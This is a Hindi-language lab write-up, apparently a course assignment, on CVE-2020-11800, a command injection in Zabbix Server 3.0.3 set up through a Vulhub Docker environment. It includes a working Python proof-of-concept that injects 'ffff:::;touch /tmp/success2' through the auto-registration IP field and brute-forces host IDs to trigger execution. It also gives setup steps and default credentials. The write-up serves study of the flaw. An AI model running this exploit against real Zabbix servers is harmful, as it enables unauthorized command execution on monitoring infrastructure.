
CVE-2020-11800 के लिए PoC एक्सप्लॉइट — दुर्भावनापूर्ण एजेंट ऑटो-रजिस्ट्रेशन के माध्यम से Zabbix Server में कमांड इंजेक्शन, जिसमें Python-आधारित पेलोड डिलीवरी और होस्ट ID ब्रूट-फोर्सिंग शामिल है।
असाइनमेंट दिशानिर्देशों द्वारा आवश्यक अनुभागों को “(आवश्यक)” से चिह्नित किया गया है।
यह पर्यावरण Vulhub द्वारा प्रदान की गई कमजोर Zabbix Server इमेज पर आधारित एक कस्टम Dockerfile का उपयोग करता है।
FROM vulhub/zabbix:3.0.3-server
Dockerfile कमजोर Zabbix 3.0.3 सर्वर पर्यावरण का उपयोग करके एक स्थानीय इमेज बनाता है। निर्माण प्रक्रिया के दौरान कोई अतिरिक्त पैकेज या कॉन्फ़िगरेशन नहीं जोड़ा गया।
कमजोर पर्यावरण को Docker Compose का उपयोग करके कॉन्फ़िगर किया गया है।
पर्यावरण में चार सेवाएँ शामिल हैं:
server सेवा को Dockerfile का उपयोग करके स्थानीय रूप से बनाया गया है:
server:
build: .
image: cve-2020-11800-server
MySQL कंटेनर वॉल्यूम माउंटिंग का उपयोग करके src/ निर्देशिका से SQL प्रारंभिकरण फ़ाइलों को स्वचालित रूप से आयात करता है:
volumes:
- ./src/:/docker-entrypoint-initdb.d/
यह कंटेनर शुरू होने पर डेटाबेस स्कीमा और प्रारंभिक Zabbix डेटा को स्वचालित रूप से लोड करने की अनुमति देता है।
पर्यावरण निम्नलिखित संरचना का उपयोग करके संचालित होता है:
[Browser]
↓
[Zabbix Web]
↓
[Zabbix Server]
↓
[MySQL]
[Agent] → [Server]
ब्राउज़र के माध्यम से सुलभ वेब-आधारित प्रबंधन इंटरफ़ेस प्रदान करता है।
व्यवस्थापक इस इंटरफ़ेस के माध्यम से स्वतः-पंजीकरण कॉन्फ़िगर करता है और निगरानी-संबंधी कार्यों को निष्पादित करता है।
इसके लिए उत्तरदायी मुख्य घटक:
कमांड इंजेक्शन भेद्यता इस कंटेनर के अंदर ट्रिगर होती है।
निगरानी किए गए होस्ट के रूप में कार्य करता है और Zabbix Server के साथ संचार करता है।
एक्सप्लॉइट एजेंट पंजीकरण प्रक्रिया के दौरान स्वतः-पंजीकरण तंत्र का दुरुपयोग करता है।
Zabbix कॉन्फ़िगरेशन डेटा, होस्ट जानकारी और निगरानी-संबंधी डेटा संग्रहीत करता है।
| सेवा | इमेज | संस्करण |
|---|---|---|
| Zabbix Server | vulhub/zabbix | 3.0.3-server |
| Zabbix Web | vulhub/zabbix | 3.0.3-web |
| MySQL | mysql | 5 |
यह पर्यावरण Vulhub द्वारा प्रदान किए गए कमजोर Zabbix 3.0.3 पर्यावरण पर आधारित है।
CVE-2020-11800, Zabbix Server Active Proxy Trapper कार्यक्षमता में एक कमांड इंजेक्शन भेद्यता है।
यह भेद्यता इसलिए मौजूद है क्योंकि CVE-2017-2824 के लिए पैच अधूरा था। एक हमलावर IPv6-शैली पेलोड का उपयोग करके मूल पैच को बायपास कर सकता है और Zabbix Server पर मनमाने कमांड निष्पादित कर सकता है।
यह भेद्यता स्वतः-पंजीकरण प्रक्रिया के दौरान ट्रिगर होती है जब सर्वर उपयोगकर्ता-नियंत्रित होस्ट जानकारी संसाधित करता है।
भेद्यता का मूल कारण शेल कमांड के अंदर उपयोगकर्ता-नियंत्रित इनपुट की असुरक्षित हैंडलिंग है।
स्क्रिप्ट निष्पादन के दौरान, Zabbix Server पंजीकृत होस्ट IP मान का उपयोग करके निम्न जैसे कमांड का निर्माण करता है:
ping <host_ip>
सामान्य परिस्थितियों में:
ping 127.0.0.1
हालाँकि, यदि कोई हमलावर निम्नलिखित पेलोड का उपयोग करके होस्ट पंजीकृत करता है:
ffff:::;touch /tmp/success2
शेल द्वारा निष्पादित अंतिम कमांड बन जाता है:
ping ffff:::;touch /tmp/success2
चूँकि सेमीकोलन (;) शेल कमांड विभाजक के रूप में कार्य करता है, शेल इनपुट को दो अलग-अलग कमांड के रूप में व्याख्या करता है:
ping ffff:::
touch /tmp/success2
परिणामस्वरूप, मनमाना कमांड निष्पादन संभव हो जाता है।
CVE-2017-2824 के लिए मूल पैच ने दुर्भावनापूर्ण इनपुट मानों को प्रतिबंधित करने का प्रयास किया।
हालाँकि, सत्यापन तर्क IPv6-शैली इनपुट को ठीक से संभाल नहीं पाया।
पेलोड:
ffff:::;touch /tmp/success2
मौजूदा सत्यापन तर्क को बायपास करने के लिए एक IPv6-जैसा उपसर्ग (ffff:::) का उपयोग करता है, साथ ही शेल मेटाकैरेक्टर इंजेक्ट करता है।
यह हमलावरों को पिछले पैच को बायपास करने और कमांड इंजेक्शन भेद्यता का शोषण जारी रखने की अनुमति देता है।
शोषण प्रक्रिया निम्नलिखित क्रम में होती है:
Attacker
↓
Fake Agent Registration
↓
Malicious IP Stored
↓
Zabbix Script Execution
↓
Shell Command Construction
↓
Command Injection
↓
Arbitrary Command Execution
हमलावर पहले एक क्राफ्टेड IP फ़ील्ड युक्त दुर्भावनापूर्ण स्वतः-पंजीकरण अनुरोध भेजता है।
होस्ट पंजीकृत होने के बाद, Zabbix Server संग्रहीत होस्ट IP मान का उपयोग करके एक निगरानी स्क्रिप्ट निष्पादित करता है।
इस प्रक्रिया के दौरान, दुर्भावनापूर्ण पेलोड की व्याख्या शेल द्वारा की जाती है, जिससे मनमाना कमांड निष्पादन होता है।
एक्सप्लॉइट हमलावरों को Zabbix Server प्रक्रिया के विशेषाधिकारों के साथ मनमाने कमांड निष्पादित करने की अनुमति देता है।
इस वातावरण में, सफल शोषण ने सर्वर कंटेनर के अंदर निम्नलिखित फ़ाइल बनाई:
/tmp/success2
यह पुष्टि करता है कि इंजेक्ट किए गए शेल कमांड सफलतापूर्वक निष्पादित किए गए।
वास्तविक वातावरण में, सफल शोषण हमलावरों को अनुमति दे सकता है:
यह भेद्यता विशेष रूप से खतरनाक है क्योंकि निगरानी सर्वरों को अक्सर कई आंतरिक सिस्टम और बुनियादी ढांचे के घटकों की दृश्यता होती है।
प्रूफ ऑफ कॉन्सेप्ट (PoC) को Python में लिखा गया था और यह TCP पोर्ट 10051 के माध्यम से सीधे Zabbix Server के साथ संचार करता है।
PoC निम्नलिखित क्रियाएँ करता है:
hostid मानों को ब्रूट-फोर्स करता हैimport sys
import socket
import json
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
response = conn.recv(2048)
conn.close()
return response
if len(sys.argv) != 2:
print("Usage: python3 exploit.py <target-ip>")
sys.exit(1)
target = sys.argv[1]
payload = {
"request": "active checks",
"host": "vulhub",
"ip": "ffff:::;touch /tmp/success2"
}
print("[*] Sending malicious auto-registration request...")
print(send(target, payload))
print("[*] Brute forcing hostid and triggering script execution...")
for i in range(10000, 10500):
data = send(target, {
"request": "command",
"scriptid": 1,
"hostid": str(i)
})
if data and b'failed' not in data:
print("[+] hostid: %d" % i)
print(data)
इस PoC में उपयोग किया गया पेलोड है:
ffff:::;touch /tmp/success2
| भाग | उद्देश्य |
|---|---|
ffff::: | सत्यापन बायपास के लिए उपयोग किया जाने वाला IPv6-जैसा उपसर्ग |
; | शेल कमांड विभाजक |
touch /tmp/success2 | सर्वर पर निष्पादित मनमाना कमांड |
पेलोड इस तथ्य का दुरुपयोग करता है कि सर्वर उपयोगकर्ता-नियंत्रित IP मानों को शेल कमांड में अनुचित रूप से जोड़ता है।
पेलोड को स्वतः-पंजीकरण प्रक्रिया के दौरान ip फ़ील्ड के माध्यम से भेजा जाता है।
PoC द्वारा भेजा गया पहला अनुरोध एक दुर्भावनापूर्ण होस्ट पंजीकृत करने का प्रयास करता है।
payload = {
"request": "active checks",
"host": "vulhub",
"ip": "ffff:::;touch /tmp/success2"
}
पंजीकरण के बाद, PoC एक मान्य hostid खोजने का प्रयास करता है।
for i in range(10000, 10500):
PoC संभावित होस्ट IDs की एक श्रेणी के माध्यम से पुनरावृत्ति करता है और स्क्रिप्ट निष्पादन ट्रिगर करने का प्रयास करता है।
यह चरण आवश्यक है क्योंकि सर्वर पंजीकरण के बाद गतिशील रूप से होस्ट IDs निर्दिष्ट करता है।
निम्नलिखित अनुरोध कमांड निष्पादन ट्रिगर करता है:
{
"request": "command",
"scriptid": 1,
"hostid": str(i)
}
| पैरामीटर | विवरण |
|---|---|
request | स्क्रिप्ट निष्पादन का अनुरोध करता है |
scriptid | कॉन्फ़िगर की गई Zabbix स्क्रिप्ट की ID |
hostid | लक्ष्य होस्ट ID |
इस वातावरण में, scriptid:1 एक पिंग-संबंधित स्क्रिप्ट से मेल खाता है जो कमांड निष्पादन के दौरान होस्ट IP मान का उपयोग करती है।
Zabbix Server आंतरिक रूप से एक शेल कमांड का निर्माण करता है जो निम्न जैसा दिखता है:
ping ffff:::;touch /tmp/success2
शेल इसे निम्न रूप में व्याख्या करता है:
ping ffff:::
touch /tmp/success2
परिणामस्वरूप:
touch कमांड सफलतापूर्वक निष्पादित हो जाता हैसफल शोषण के दौरान, निम्नलिखित आउटपुट दिखाई दे सकता है:
ping: bad address 'ffff:::'
यह इंगित करता है कि पेलोड शेल कमांड निष्पादन चरण तक पहुँच गया।
सफल शोषण की पुष्टि तब होती है जब सर्वर कंटेनर के अंदर निम्नलिखित फ़ाइल मौजूद होती है:
/tmp/success2
संपूर्ण एक्सप्लॉइट प्रवाह नीचे सारांशित किया गया है:
Start Docker Environment
↓
Access Zabbix Web Interface
↓
Enable Auto Registration
↓
Run exploit.py
↓
Register Malicious Host
↓
Trigger Script Execution
↓
Command Injection
↓
Verify /tmp/success2
Docker Compose का उपयोग करके कमजोर पर्यावरण प्रारंभ करें।
docker compose up -d
जाँचें कि क्या सभी कंटेनर सही ढंग से चल रहे हैं।
docker compose ps
पर्यावरण में निम्नलिखित कंटेनर शामिल होने चाहिए:
ब्राउज़र खोलें और Zabbix वेब इंटरफ़ेस तक पहुँचें।
http://127.0.0.1:8080
डिफ़ॉल्ट क्रेडेंशियल:
Username: admin
Password: zabbix
एक्सप्लॉइट के लिए स्वतः-पंजीकरण सुविधा सक्षम होना आवश्यक है।
यहाँ नेविगेट करें:
Configuration → Actions
इवेंट स्रोत को बदलें:
Auto registration
एक नया Action बनाएँ और निम्नलिखित ऑपरेशन कॉन्फ़िगर करें:
Operation Type: Add Host
यह नए पंजीकृत एजेंटों को स्वचालित रूप से सर्वर में जोड़ने की अनुमति देता है।
PoC स्क्रिप्ट निष्पादित करें।
python3 exploit.py 127.0.0.1
PoC एक दुर्भावनापूर्ण स्वतः-पंजीकरण अनुरोध भेजता है और कई होस्ट IDs का उपयोग करके कमांड निष्पादन ट्रिगर करने का प्रयास करता है।
सफल शोषण के दौरान, निम्नलिखित जैसा आउटपुट दिखाई दे सकता है:
hostid: 10106
{"response":"success","data":"ping: bad address 'ffff:::'"}
यह इंगित करता है कि पेलोड कमजोर शेल कमांड निष्पादन पथ तक पहुँच गया।
Zabbix Server कंटेनर तक पहुँचें।
docker exec -it cve-2020-11800-server-1 bash
सत्यापित करें कि इंजेक्ट किया गया कमांड लक्ष्य फ़ाइल बनाया या नहीं।
ls -l /tmp/success2
सफल शोषण निम्नलिखित जैसा आउटपुट उत्पन्न करता है:
-rw-rw-r-- 1 zabbix zabbix 0 May 10 19:48 /tmp/success2
यह पुष्टि करता है कि Zabbix Server कंटेनर के अंदर मनमाने कमांड सफलतापूर्वक निष्पादित किए गए।
निम्नलिखित स्क्रीनशॉट screenshots/ निर्देशिका में शामिल किए गए थे:

